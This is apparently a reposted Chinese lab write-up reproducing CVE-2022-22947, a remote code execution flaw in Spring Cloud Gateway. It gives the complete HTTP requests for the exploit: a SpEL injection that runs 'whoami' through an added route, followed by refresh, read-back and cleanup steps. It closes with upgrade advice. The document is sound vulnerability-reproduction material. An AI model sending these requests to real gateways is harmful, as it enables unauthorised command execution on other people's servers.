漏洞说明
Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关，它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。
据公告描述，当启用和暴露 Gateway Actuator 端点时，使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求，从而远程执行任意代码。
漏洞影响范围
Spring Cloud Gateway < 3.1.1Spring Cloud Gateway < 3.0.7Spring Cloud Gateway 其他已不再更新的版本
漏洞复现
使用vulfocus平台http://vulfocus.fofa.so/
运行CVE-2022-22947漏洞环境进行复现
漏洞利用如下：
一、添加恶意路由
POST /actuator/gateway/routes/Mc HTTP/1.1Host: 127.0.0.1:40385User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Content-Type: application/jsonContent-Length: 327{"id": "Mc","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}"}}],"uri": "http://example.com"}
二、刷新网关路由
POST /actuator/gateway/refresh HTTP/1.1Host: 127.0.0.1:40385Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0
三、命令执行
GET /actuator/gateway/routes/Mc HTTP/1.1Host: 127.0.0.1:40385Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
四、测试完成后删除添加的恶意路由
DELETE /actuator/gateway/routes/Mc HTTP/1.1Host: 127.0.0.1:40385Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
修复建议
官方已发布安全版本，请及时下载更新
下载地址：https://github.com/spring-cloud/spring-cloud-gateway
原文始发于微信公众号（渗透笔记）：Spring Cloud Gateway远程代码执行漏洞复现（CVE-2022-22947）
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